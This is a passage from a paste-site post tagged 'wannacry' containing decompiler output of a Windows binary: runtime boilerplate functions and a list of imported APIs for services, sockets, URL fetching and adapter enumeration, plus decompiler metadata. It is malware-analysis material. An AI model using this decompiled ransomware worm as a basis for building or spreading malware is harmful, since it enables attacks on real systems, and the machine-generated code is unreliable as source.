  10731. // Address range: 0x409816 - 0x409841
  10732. int32_t (**function_409816(int32_t (**a1)(), int32_t a2))() {
  10733.     // 0x409816
  10734.     if (g1180 == (void (****)())-1) {
  10735.         // 0x40981f
  10736.         return _onexit(a1);
  10737.     }
  10738.     // 0x40982b
  10739.     return __dllonexit(a1, (void (****)())&g1180, (void (****)())&g1179);
  10740. }
  10741.  
  10742. // Address range: 0x409842 - 0x40985f
  10743. void function_409842(int32_t a1) {
  10744.     // 0x409842
  10745.     int32_t v1;
  10746.     function_409816((int32_t (**)())a1, v1);
  10747. }
  10748.  
  10749. // Address range: 0x409860 - 0x40988f
  10750. int32_t function_409860(int32_t a1) {
  10751.     int32_t v1 = &a1; // 0x409866_0
  10752.     int32_t v2; // 0x409880
  10753.     int32_t v3; // 0x409880
  10754.     if (g1 >= 0x1000) {
  10755.         uint32_t v4 = g1 - 0x1000;
  10756.         int32_t v5 = v4 % 0x1000;
  10757.         v3 = v5;
  10758.         v2 = v1 - 0x1000 - (v4 - v5);
  10759.         // branch -> 0x409880
  10760.     } else {
  10761.         v3 = g1;
  10762.         v2 = v1;
  10763.     }
  10764.     // 0x409880
  10765.     int32_t result;
  10766.     g1 = result;
  10767.     *(int32_t *)(v2 - v3 - 4) = result;
  10768.     return result;
  10769. }
  10770.  
  10771. // Address range: 0x409890 - 0x40989f
  10772. void function_409890(void) {
  10773.     // 0x409890
  10774.     unknown_40a108();
  10775. }
  10776.  
  10777. // Address range: 0x409952 - 0x40995f
  10778. void function_409952(void) {
  10779.     // 0x409952
  10780.     return;
  10781. }
  10782.  
  10783. // Address range: 0x409a0a - 0x409a15
  10784. void function_409a0a(void) {
  10785.     // 0x409a0a
  10786.     unknown_40a120();
  10787. }
  10788.  
  10789. // Address range: 0x409a16 - 0x409b53
  10790. int32_t entry_point(int32_t a1, int32_t a2, int32_t a3, int32_t a4) {
  10791.     // 0x409a16
  10792.     abort();
  10793.     // UNREACHABLE
  10794. }
  10795.  
  10796. // Address range: 0x409b54 - 0x409b67
  10797. int32_t function_409b54(int32_t a1, int32_t a2, int32_t a3) {
  10798.     int32_t v1 = *(int32_t *)(g2 - 20); // 0x409b54
  10799.     int32_t v2 = *(int32_t *)*(int32_t *)v1; // 0x409b59
  10800.     *(int32_t *)(g2 - 120) = v2;
  10801.     return _XcptFilter(v2, (char *)v1);
  10802. }
  10803.  
  10804. // Address range: 0x409b68 - 0x409b73
  10805. int32_t function_409b68(int32_t status) {
  10806.     int32_t v1 = *(int32_t *)(g2 - 24); // 0x409b68
  10807.     *(int32_t *)(v1 - 4) = *(int32_t *)(g2 - 120);
  10808.     *(int32_t *)(v1 - 8) = (int32_t)&g21;
  10809.     exit(status);
  10810.     // UNREACHABLE
  10811. }
  10812.  
  10813. // Address range: 0x409b74 - 0x409b8b
  10814. void function_409b74(void) {
  10815.     // 0x409b74
  10816.     unknown_40a100();
  10817. }
  10818.  
  10819. // Address range: 0x409b8c - 0x409b9d
  10820. int32_t function_409b8c(void) {
  10821.     int32_t result = _controlfp(0x10000, 0x30000); // 0x409b96
  10822.     g1 = result;
  10823.     return result;
  10824. }
  10825.  
  10826. // Address range: 0x409b9e - 0x409ba0
  10827. int32_t function_409b9e(void) {
  10828.     // 0x409b9e
  10829.     g1 = 0;
  10830.     return 0;
  10831. }
  10832.  
  10833. // Address range: 0x409ba1 - 0x409ba1
  10834. int32_t function_409ba1(void) {
  10835.     // 0x409ba1
  10836.     return g1;
  10837. }
  10838.  
  10839. // Address range: 0x409ba2 - 0x409bc9
  10840. int32_t function_409ba2(int32_t * a1) {
  10841.     // 0x409ba2
  10842.     return _except_handler3(NULL, (int32_t)a1, NULL, 0);
  10843. }
  10844.  
  10845. // --------------- Statically Linked Functions ----------------
  10846.  
  10847. // __int64 __alldiv(__int64 a, __int64 b);
  10848. // void __allrem(int32_t a1, int32_t a2, int32_t a3, int32_t a4);
  10849.  
  10850. // --------------- Dynamically Linked Functions ---------------
  10851.  
  10852. // _onexit_t __dllonexit(_onexit_t func, _PVFV ** pbegin, _PVFV ** pend);
  10853. // int * __cdecl __p___argc(void);
  10854. // uintptr_t __cdecl _beginthreadex(_In_opt_ void * Security, _In_ unsigned StackSize, _In_ _beginthreadex_proc_type StartAddress, _In_opt_ void * ArgList, _In_ unsigned InitFlag, _Out_opt_ unsigned * ThrdAddr);
  10855. // unsigned int __cdecl _controlfp(_In_ unsigned int NewValue, _In_ unsigned int Mask);
  10856. // void __cdecl _endthreadex(_In_ unsigned ReturnCode);
  10857. // int _except_handler3(PEXCEPTION_RECORD exception_record, PEXCEPTION_REGISTRATION registration, PCONTEXT context, PEXCEPTION_REGISTRATION dispatcher);
  10858. // void _ftol(void);
  10859. // _onexit_t _onexit(_onexit_t Function);
  10860. // void _qm__qm_0_Lockit_std__QAE_XZ(void);
  10861. // void _qm__qm_1_Lockit_std__QAE_XZ(void);
  10862. // void _qm__qm_2_YAPAXI_Z(int32_t a1);
  10863. // int __cdecl _stricmp(_In_z_ char const * String1, _In_z_ char const * String2);
  10864. // int _XcptFilter(unsigned long xcptnum, void * pxcptinfoptrs);
  10865. // BOOL ChangeServiceConfig2A(_In_ SC_HANDLE hService, _In_ DWORD dwInfoLevel, _In_opt_ LPVOID lpInfo);
  10866. // BOOL CloseHandle(_In_ HANDLE hObject);
  10867. // BOOL CloseServiceHandle(_In_ SC_HANDLE hSCObject);
  10868. // int closesocket(_In_ SOCKET s);
  10869. // int connect(_In_ SOCKET s, const struct sockaddr * name, _In_ int namelen);
  10870. // HANDLE CreateFileA(_In_ LPCSTR lpFileName, _In_ DWORD dwDesiredAccess, _In_ DWORD dwShareMode, _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes, _In_ DWORD dwCreationDisposition, _In_ DWORD dwFlagsAndAttributes, _In_opt_ HANDLE hTemplateFile);
  10871. // SC_HANDLE CreateServiceA(_In_ SC_HANDLE hSCManager, _In_ LPCSTR lpServiceName, _In_opt_ LPCSTR lpDisplayName, _In_ DWORD dwDesiredAccess, _In_ DWORD dwServiceType, _In_ DWORD dwStartType, _In_ DWORD dwErrorControl, _In_opt_ LPCSTR lpBinaryPathName, _In_opt_ LPCSTR lpLoadOrderGroup, _Out_opt_ LPDWORD lpdwTagId, _In_opt_ LPCSTR lpDependencies, _In_opt_ LPCSTR lpServiceStartName, _In_opt_ LPCSTR lpPassword);
  10872. // BOOL CryptGenRandom(_In_ HCRYPTPROV hProv, _In_ DWORD dwLen, BYTE * pbBuffer);
  10873. // VOID EnterCriticalSection(_Inout_ LPCRITICAL_SECTION lpCriticalSection);
  10874. // void exit(int status);
  10875. // VOID ExitProcess(_In_ UINT uExitCode);
  10876. // HRSRC FindResourceA(_In_opt_ HMODULE hModule, _In_ LPCSTR lpName, _In_ LPCSTR lpType);
  10877. // void free(void * ptr);
  10878. // ULONG GetAdaptersInfo(PIP_ADAPTER_INFO AdapterInfo, _Inout_ PULONG SizePointer);
  10879. // HANDLE GetCurrentThread(VOID);
  10880. // DWORD GetCurrentThreadId(VOID);
  10881. // DWORD GetFileSize(_In_ HANDLE hFile, _Out_opt_ LPDWORD lpFileSizeHigh);
  10882. // DWORD GetModuleFileNameA(_In_opt_ HMODULE hModule, LPSTR lpFilename, _In_ DWORD nSize);
  10883. // HMODULE GetModuleHandleW(_In_opt_ LPCWSTR lpModuleName);
  10884. // DWORD GetPerAdapterInfo(_In_ ULONG IfIndex, PIP_PER_ADAPTER_INFO pPerAdapterInfo, _Inout_ PULONG pOutBufLen);
  10885. // FARPROC GetProcAddress(_In_ HMODULE hModule, _In_ LPCSTR lpProcName);
  10886. // DWORD GetTickCount(VOID);
  10887. // HGLOBAL GlobalAlloc(_In_ UINT uFlags, _In_ SIZE_T dwBytes);
  10888. // HGLOBAL GlobalFree(HGLOBAL hMem);
  10889. // u_long htonl(_In_ u_long hostlong);
  10890. // u_short htons(_In_ u_short hostshort);
  10891. // unsigned long inet_addr(_In_z_ const char * cp);
  10892. // char * inet_ntoa(_In_ struct in_addr in);
  10893. // VOID InitializeCriticalSection(_Out_ LPCRITICAL_SECTION lpCriticalSection);
  10894. // unsigned InterlockedDecrement(_Inout_ unsigned volatile * Addend);
  10895. // BOOL InternetCloseHandle(_In_ HINTERNET hInternet);
  10896. // HINTERNET InternetOpenA(_In_ LPCSTR lpszAgent, _In_ DWORD dwAccessType, _In_ LPCSTR lpszProxyName, _In_ LPCSTR lpszProxyBypass, _In_ DWORD dwFlags);
  10897. // HINTERNET InternetOpenUrlA(_In_ HINTERNET hInternet, _In_ LPCSTR lpszUrl, _In_ LPCSTR lpszHeaders, _In_ DWORD dwHeadersLength, _In_ DWORD dwFlags, _In_ DWORD_PTR dwContext);
  10898. // int ioctlsocket(_In_ SOCKET s, _In_ long cmd, _Inout_ u_long * argp);
  10899. // VOID LeaveCriticalSection(_Inout_ LPCRITICAL_SECTION lpCriticalSection);
  10900. // HGLOBAL LoadResource(_In_opt_ HMODULE hModule, _In_ HRSRC hResInfo);
  10901. // HLOCAL LocalAlloc(_In_ UINT uFlags, _In_ SIZE_T uBytes);
  10902. // HLOCAL LocalFree(HLOCAL hMem);
  10903. // LPVOID LockResource(_In_ HGLOBAL hResData);
  10904. // BOOL MoveFileExA(_In_ LPCSTR lpExistingFileName, _In_opt_ LPCSTR lpNewFileName, _In_ DWORD dwFlags);
  10905. // u_long ntohl(_In_ u_long netlong);
  10906. // SC_HANDLE OpenSCManagerA(_In_opt_ LPCSTR lpMachineName, _In_opt_ LPCSTR lpDatabaseName, _In_ DWORD dwDesiredAccess);
  10907. // SC_HANDLE OpenServiceA(_In_ SC_HANDLE hSCManager, _In_ LPCSTR lpServiceName, _In_ DWORD dwDesiredAccess);
  10908. // BOOL QueryPerformanceCounter(_Out_ LARGE_INTEGER * lpPerformanceCount);
  10909. // BOOL QueryPerformanceFrequency(_Out_ LARGE_INTEGER * lpFrequency);
  10910. // int rand(void);
  10911. // int recv(_In_ SOCKET s, char * buf, _In_ int len, _In_ int flags);
  10912. // SERVICE_STATUS_HANDLE RegisterServiceCtrlHandlerA(_In_ LPCSTR lpServiceName, _In_ LPHANDLER_FUNCTION lpHandlerProc);
  10913. // int select(_In_ int nfds, _Inout_opt_ fd_set * readfds, _Inout_opt_ fd_set * writefds, _Inout_opt_ fd_set * exceptfds, _In_opt_ const struct timeval * timeout);
  10914. // int send(_In_ SOCKET s, const char * buf, _In_ int len, _In_ int flags);
  10915. // BOOL SetServiceStatus(_In_ SERVICE_STATUS_HANDLE hServiceStatus, _In_ LPSERVICE_STATUS lpServiceStatus);
  10916. // DWORD SizeofResource(_In_opt_ HMODULE hModule, _In_ HRSRC hResInfo);
  10917. // VOID Sleep(_In_ DWORD dwMilliseconds);
  10918. // SOCKET socket(_In_ int af, _In_ int type, _In_ int protocol);
  10919. // int sprintf(char * restrict s, const char * restrict format, ...);
  10920. // void srand(unsigned int seed);
  10921. // BOOL StartServiceA(_In_ SC_HANDLE hService, _In_ DWORD dwNumServiceArgs, LPCSTR * lpServiceArgVectors);
  10922. // BOOL StartServiceCtrlDispatcherA(_In_ const SERVICE_TABLE_ENTRYA * lpServiceStartTable);
  10923. // char * strncpy(char * restrict dest, const char * restrict src, size_t n);
  10924. // BOOL TerminateThread(_In_ HANDLE hThread, _In_ DWORD dwExitCode);
  10925. // time_t time(time_t * timer);
  10926. // DWORD WaitForSingleObject(_In_ HANDLE hHandle, _In_ DWORD dwMilliseconds);
  10927. // int WSAStartup(_In_ WORD wVersionRequested, _Out_ LPWSADATA lpWSAData);
  10928.  
  10929. // --------------------- Meta-Information ---------------------
  10930.  
  10931. // Detected compiler/packer: microsoft visual c++ (6.0)
  10932. // Detected functions: 79
  10933. // Decompiler release: v2.2.1 (2016-09-07)
  10934. // Decompilation date: 2017-05-14 04:27:05
Tags: wannacry
Advertisement
Comments
Add Comment
Please, Sign In to add comment
Advertisement